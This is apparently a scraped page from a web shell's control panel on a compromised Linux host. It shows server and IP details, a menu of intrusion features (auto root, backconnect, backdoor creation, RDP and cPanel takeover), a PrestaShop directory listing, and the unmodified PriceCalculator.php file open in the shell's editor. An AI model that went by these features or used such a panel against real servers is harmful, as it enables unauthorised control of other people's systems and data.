Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 3.138.126.79
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
.trash /
src.1 /
Adapter /
Product /
[ HOME SHELL ]
Name
Size
Permission
Action
Attachment
[ DIR ]
drwxr-xr-x
AttributeGroup
[ DIR ]
drwxr-xr-x
Combination
[ DIR ]
drwxr-xr-x
CommandHandler
[ DIR ]
drwxr-xr-x
Customization
[ DIR ]
drwxr-xr-x
FeatureValue
[ DIR ]
drwxr-xr-x
Grid
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Options
[ DIR ]
drwxr-xr-x
Pack
[ DIR ]
drwxr-xr-x
QueryHandler
[ DIR ]
drwxr-xr-x
Repository
[ DIR ]
drwxr-xr-x
Shop
[ DIR ]
drwxr-xr-x
SpecificPrice
[ DIR ]
drwxr-xr-x
Stock
[ DIR ]
drwxr-xr-x
Supplier
[ DIR ]
drwxr-xr-x
Update
[ DIR ]
drwxr-xr-x
Validate
[ DIR ]
drwxr-xr-x
VirtualProduct
[ DIR ]
drwxr-xr-x
AbstractProductSupplierHandler...
4.26
KB
-rw-r--r--
AdminProductDataProvider.php
16.73
KB
-rw-r--r--
AdminProductDataUpdater.php
11.3
KB
-rw-r--r--
AdminProductWrapper.php
36.74
KB
-rw-r--r--
AttachmentDataProvider.php
1.69
KB
-rw-r--r--
FilterCategoriesRequestPurifie...
1.9
KB
-rw-r--r--
GeneralConfiguration.php
5.83
KB
-rw-r--r--
ListParametersUpdater.php
4.72
KB
-rw-r--r--
PackItemsManager.php
3.35
KB
-rw-r--r--
PageConfiguration.php
3.21
KB
-rw-r--r--
PaginationConfiguration.php
2.9
KB
-rw-r--r--
PriceCalculator.php
7.15
KB
-rw-r--r--
PriceFormatter.php
1.86
KB
-rw-r--r--
ProductColorsRetriever.php
1.5
KB
-rw-r--r--
ProductDataProvider.php
4.64
KB
-rw-r--r--
ProductDeleter.php
4.05
KB
-rw-r--r--
StockConfiguration.php
4.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PriceCalculator.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Adapter\Product; use Context; use Product; /** * Access Product price depending on taxes, eco tax, reductions. */ class PriceCalculator { /** * @param int $idProduct Product id * @param bool $useTax With taxes or not (optional) * @param int|null $idProductAttribute product attribute id (optional). * If set to false, do not apply the combination price impact. * NULL does apply the default combination price impact * @param int $decimals Number of decimals (optional) * @param int|null $divisor Useful when paying many time without fees (optional) * @param bool $onlyReduc Returns only the reduction amount * @param bool $useReduc Set if the returned amount will include reduction * @param int $quantity Required for quantity discount application (default value: 1) * @param bool $forceAssociatedTax DEPRECATED - NOT USED Force to apply the associated tax. * Only works when the parameter $usetax is true * @param int|null $idCustomer Customer ID (for customer group reduction) * @param int|null $idCart Cart ID. Required when the cookie is not accessible * (e.g., inside a payment module, a cron task...) * @param int|null $idAddress Customer address ID. Required for price (tax included) * calculation regarding the guest localization * @param null $specificPriceOutput If a specific price applies regarding the previous parameters, * this variable is filled with the corresponding SpecificPrice object * @param bool $withEcotax insert ecotax in price output * @param bool $useGroupReduction * @param Context|null $context * @param bool $useCustomerPrice * @param int|null $idCustomization * * @return float Product price */ public function getProductPrice( $idProduct, $useTax = true, $idProductAttribute = null, $decimals = 6, $divisor = null, $onlyReduc = false, $useReduc = true, $quantity = 1, $forceAssociatedTax = false, $idCustomer = null, $idCart = null, $idAddress = null, &$specificPriceOutput = null, $withEcotax = true, $useGroupReduction = true, Context $context = null, $useCustomerPrice = true, $idCustomization = null ) { return Product::getPriceStatic( $idProduct, $useTax, $idProductAttribute, $decimals, $divisor, $onlyReduc, $useReduc, $quantity, $forceAssociatedTax, $idCustomer, $idCart, $idAddress, $specificPriceOutput, $withEcotax, $useGroupReduction, $context, $useCustomerPrice, $idCustomization ); } /** * Price calculation / Get product price. * * @param int $idShop Shop id * @param int $idProduct Product id * @param int $idProductAttribute Product attribute id * @param int $idCountry Country id * @param int $idState State id * @param string $zipCode * @param int $idCurrency Currency id * @param int $idGroup Group id * @param int $quantity Quantity Required for Specific prices : quantity discount application * @param bool $useTax with (1) or without (0) tax * @param int $decimals Number of decimals returned * @param bool $onlyReduc Returns only the reduction amount * @param bool $useReduc Set if the returned amount will include reduction * @param bool $withEcotax insert ecotax in price output * @param null $specificPrice If a specific price applies regarding the previous parameters, * this variable is filled with the corresponding SpecificPrice object * @param bool $useGroupReduction * @param int $idCustomer * @param bool $useCustomerPrice * @param int $idCart * @param int $realQuantity * @param int $idCustomization * * @return float Product price **/ public function priceCalculation( $idShop, $idProduct, $idProductAttribute, $idCountry, $idState, $zipCode, $idCurrency, $idGroup, $quantity, $useTax, $decimals, $onlyReduc, $useReduc, $withEcotax, &$specificPrice, $useGroupReduction, $idCustomer = 0, $useCustomerPrice = true, $idCart = 0, $realQuantity = 0, $idCustomization = 0 ) { return Product::priceCalculation( $idShop, $idProduct, $idProductAttribute, $idCountry, $idState, $zipCode, $idCurrency, $idGroup, $quantity, $useTax, $decimals, $onlyReduc, $useReduc, $withEcotax, $specificPrice, $useGroupReduction, $idCustomer, $useCustomerPrice, $idCart, $realQuantity, $idCustomization ); } /** * @param int $orderId Order id * @param int $productId Product id * @param int $combinationId Combination (Product attribute) id * @param bool $withTaxes With or without taxes * @param bool $useReduction With or without reduction * @param bool $withEcoTax With or without ecto tax * * @return float|null * * @throws \PrestaShopDatabaseException */ public function getOrderPrice( int $orderId, int $productId, int $combinationId, bool $withTaxes, bool $useReduction, bool $withEcoTax ): ?float { return Product::getPriceFromOrder( $orderId, $productId, $combinationId, $withTaxes, $useReduction, $withEcoTax ); } }
Close